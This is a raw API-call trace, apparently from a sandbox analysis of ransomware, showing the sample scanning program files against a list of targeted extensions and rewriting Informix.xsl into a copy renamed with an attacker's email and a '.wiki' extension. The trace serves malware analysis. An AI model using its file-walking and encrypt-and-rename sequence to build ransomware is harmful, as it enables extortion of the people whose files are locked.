lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0057.173] lstrlenW (lpString=".ppt") returned 4 [0057.173] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0057.173] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0057.173] lstrlenW (lpString=".zip") returned 4 [0057.173] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0057.173] lstrlenW (lpString=".rar") returned 4 [0057.173] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0057.173] lstrlenW (lpString=".bz2") returned 4 [0057.173] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0057.173] lstrlenW (lpString=".7z") returned 3 [0057.173] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0057.173] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0057.173] lstrlenW (lpString=".dbf") returned 4 [0057.173] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0057.173] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0057.173] lstrlenW (lpString=".1cd") returned 4 [0057.173] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0057.173] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned 81 [0057.174] lstrlenW (lpString=".jpg") returned 4 [0057.174] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0057.174] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0057.174] lstrlenW (lpString="NavigationRight_SelectionSubpicture.png") returned 39 [0057.174] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0057.174] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=3118) returned 1 [0057.175] CloseHandle (hObject=0x21c) returned 1 [0057.175] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png")) returned 0x20 [0057.175] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0057.175] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.175] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png") returned 88 [0057.175] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png") returned 88 [0057.175] lstrlenW (lpString=".doc") returned 4 [0057.175] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0057.175] lstrlenW (lpString=".docx") returned 5 [0057.175] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0057.175] lstrlenW (lpString=".pdf") returned 4 [0057.175] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0057.175] lstrlenW (lpString=".xls") returned 4 [0057.175] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0057.175] lstrlenW (lpString=".xlsx") returned 5 [0057.175] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0057.175] lstrlenW (lpString=".ppt") returned 4 [0057.175] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0057.175] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png") returned 88 [0057.175] lstrlenW (lpString=".zip") returned 4 [0057.175] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0057.175] lstrlenW (lpString=".rar") returned 4 [0057.175] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0057.175] lstrlenW (lpString=".bz2") returned 4 [0057.175] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0057.175] lstrlenW (lpString=".7z") returned 3 [0057.176] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0057.176] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png") returned 88 [0057.176] lstrlenW (lpString=".dbf") returned 4 [0057.176] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0057.176] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png") returned 88 [0057.176] lstrlenW (lpString=".1cd") returned 4 [0057.176] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0057.176] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png") returned 88 [0057.176] lstrlenW (lpString=".jpg") returned 4 [0057.176] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0057.176] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png") returned 88 [0057.176] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png") returned 88 [0057.176] lstrlenW (lpString=".doc") returned 4 [0057.176] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0057.176] lstrlenW (lpString=".docx") returned 5 [0057.176] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0057.176] lstrlenW (lpString=".pdf") returned 4 [0057.176] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0057.176] lstrlenW (lpString=".xls") returned 4 [0057.176] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0057.176] lstrlenW (lpString=".xlsx") returned 5 [0057.176] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0057.176] lstrlenW (lpString=".ppt") returned 4 [0057.176] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0057.176] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png") returned 88 [0057.176] lstrlenW (lpString=".zip") returned 4 [0057.176] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0057.176] lstrlenW (lpString=".rar") returned 4 [0057.176] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0057.176] lstrlenW (lpString=".bz2") returned 4 [0057.176] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0057.176] lstrlenW (lpString=".7z") returned 3 [0057.176] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0057.176] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png") returned 88 [0057.176] lstrlenW (lpString=".dbf") returned 4 [0057.177] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0057.177] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png") returned 88 [0057.177] lstrlenW (lpString=".1cd") returned 4 [0057.177] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0057.177] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png") returned 88 [0057.177] lstrlenW (lpString=".jpg") returned 4 [0057.177] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0057.177] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0057.177] lstrlenW (lpString="NavigationUp_ButtonGraphic.png") returned 30 [0057.177] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0057.178] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=4955) returned 1 [0057.178] CloseHandle (hObject=0x21c) returned 1 [0057.178] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png")) returned 0x20 [0057.178] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0057.178] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.178] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png") returned 79 [0057.178] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png") returned 79 [0057.178] lstrlenW (lpString=".doc") returned 4 [0057.178] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0057.178] lstrlenW (lpString=".docx") returned 5 [0057.178] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0057.178] lstrlenW (lpString=".pdf") returned 4 [0057.178] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0057.178] lstrlenW (lpString=".xls") returned 4 [0057.178] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0057.178] lstrlenW (lpString=".xlsx") returned 5 [0057.178] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0057.178] lstrlenW (lpString=".ppt") returned 4 [0057.178] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0057.178] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png") returned 79 [0057.178] lstrlenW (lpString=".zip") returned 4 [0057.179] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0057.179] lstrlenW (lpString=".rar") returned 4 [0057.179] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0057.179] lstrlenW (lpString=".bz2") returned 4 [0057.179] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0057.179] lstrlenW (lpString=".7z") returned 3 [0057.179] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0057.179] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png") returned 79 [0057.179] lstrlenW (lpString=".dbf") returned 4 [0057.179] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0057.179] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png") returned 79 [0057.179] lstrlenW (lpString=".1cd") returned 4 [0057.179] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0057.179] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png") returned 79 [0057.179] lstrlenW (lpString=".jpg") returned 4 [0057.179] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0057.179] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png") returned 79 [0057.179] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png") returned 79 [0057.179] lstrlenW (lpString=".doc") returned 4 [0057.179] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0057.179] lstrlenW (lpString=".docx") returned 5 [0057.179] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0057.179] lstrlenW (lpString=".pdf") returned 4 [0057.179] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0057.179] lstrlenW (lpString=".xls") returned 4 [0057.179] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0057.179] lstrlenW (lpString=".xlsx") returned 5 [0057.179] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0057.179] lstrlenW (lpString=".ppt") returned 4 [0057.179] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0057.179] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png") returned 79 [0057.179] lstrlenW (lpString=".zip") returned 4 [0057.179] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0057.179] lstrlenW (lpString=".rar") returned 4 [0057.180] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0057.180] lstrlenW (lpString=".bz2") returned 4 [0057.180] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0057.180] lstrlenW (lpString=".7z") returned 3 [0057.180] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0057.180] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png") returned 79 [0057.180] lstrlenW (lpString=".dbf") returned 4 [0057.180] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0057.180] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png") returned 79 [0057.180] lstrlenW (lpString=".1cd") returned 4 [0057.180] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0057.180] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png") returned 79 [0057.180] lstrlenW (lpString=".jpg") returned 4 [0057.180] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0057.180] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0057.180] lstrlenW (lpString="NavigationUp_SelectionSubpicture.png") returned 36 [0057.180] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0057.181] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=3081) returned 1 [0057.181] CloseHandle (hObject=0x21c) returned 1 [0057.181] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png")) returned 0x20 [0057.181] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0057.181] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.181] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0057.181] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0057.181] lstrlenW (lpString=".doc") returned 4 [0057.181] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0057.181] lstrlenW (lpString=".docx") returned 5 [0057.181] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0057.181] lstrlenW (lpString=".pdf") returned 4 [0057.181] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0057.181] lstrlenW (lpString=".xls") returned 4 [0057.181] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0057.181] lstrlenW (lpString=".xlsx") returned 5 [0057.181] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0057.181] lstrlenW (lpString=".ppt") returned 4 [0057.182] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0057.182] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0057.182] lstrlenW (lpString=".zip") returned 4 [0057.182] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0057.182] lstrlenW (lpString=".rar") returned 4 [0057.182] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0057.182] lstrlenW (lpString=".bz2") returned 4 [0057.182] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0057.182] lstrlenW (lpString=".7z") returned 3 [0057.182] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0057.182] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0057.182] lstrlenW (lpString=".dbf") returned 4 [0057.182] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0057.182] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0057.182] lstrlenW (lpString=".1cd") returned 4 [0057.182] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0057.182] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0057.182] lstrlenW (lpString=".jpg") returned 4 [0057.182] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0057.182] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0057.182] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0057.182] lstrlenW (lpString=".doc") returned 4 [0057.182] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0057.182] lstrlenW (lpString=".docx") returned 5 [0057.182] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0057.182] lstrlenW (lpString=".pdf") returned 4 [0057.182] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0057.182] lstrlenW (lpString=".xls") returned 4 [0057.182] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0057.182] lstrlenW (lpString=".xlsx") returned 5 [0057.182] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0057.182] lstrlenW (lpString=".ppt") returned 4 [0057.182] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0057.182] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0057.182] lstrlenW (lpString=".zip") returned 4 [0057.183] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0057.183] lstrlenW (lpString=".rar") returned 4 [0057.183] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0057.183] lstrlenW (lpString=".bz2") returned 4 [0057.183] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0057.183] lstrlenW (lpString=".7z") returned 3 [0057.183] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0057.183] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0057.183] lstrlenW (lpString=".dbf") returned 4 [0057.183] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0057.183] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0057.183] lstrlenW (lpString=".1cd") returned 4 [0057.183] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0057.183] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0057.183] lstrlenW (lpString=".jpg") returned 4 [0057.183] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0057.183] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0057.183] lstrlenW (lpString="pushplaysubpicture.png") returned 22 [0057.183] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0057.183] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=2962) returned 1 [0057.183] CloseHandle (hObject=0x21c) returned 1 [0057.183] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png")) returned 0x20 [0057.184] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0057.184] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.184] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png") returned 71 [0057.184] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png") returned 71 [0057.184] lstrlenW (lpString=".doc") returned 4 [0057.184] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0057.184] lstrlenW (lpString=".docx") returned 5 [0057.184] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0057.184] lstrlenW (lpString=".pdf") returned 4 [0057.184] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0057.184] lstrlenW (lpString=".xls") returned 4 [0057.184] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0057.184] lstrlenW (lpString=".xlsx") returned 5 [0057.184] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0057.184] lstrlenW (lpString=".ppt") returned 4 [0057.184] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0057.184] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png") returned 71 [0057.184] lstrlenW (lpString=".zip") returned 4 [0057.184] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0057.184] lstrlenW (lpString=".rar") returned 4 [0057.184] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0057.184] lstrlenW (lpString=".bz2") returned 4 [0057.184] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0057.184] lstrlenW (lpString=".7z") returned 3 [0057.184] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0057.184] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png") returned 71 [0057.184] lstrlenW (lpString=".dbf") returned 4 [0057.184] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0060.500] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=30948) returned 1 [0060.500] CloseHandle (hObject=0x21c) returned 1 [0060.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl")) returned 0x20 [0060.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0060.510] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.510] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0060.519] GetLastError () returned 0x0 [0060.519] ReadFile (in: hFile=0x21c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x78e4, lpOverlapped=0x0) returned 1 [0060.538] WriteFile (in: hFile=0x168, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x78f0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x78f0, lpOverlapped=0x0) returned 1 [0060.539] ReadFile (in: hFile=0x21c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.539] WriteFile (in: hFile=0x168, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.539] SetEndOfFile (hFile=0x168) returned 1 [0060.539] CloseHandle 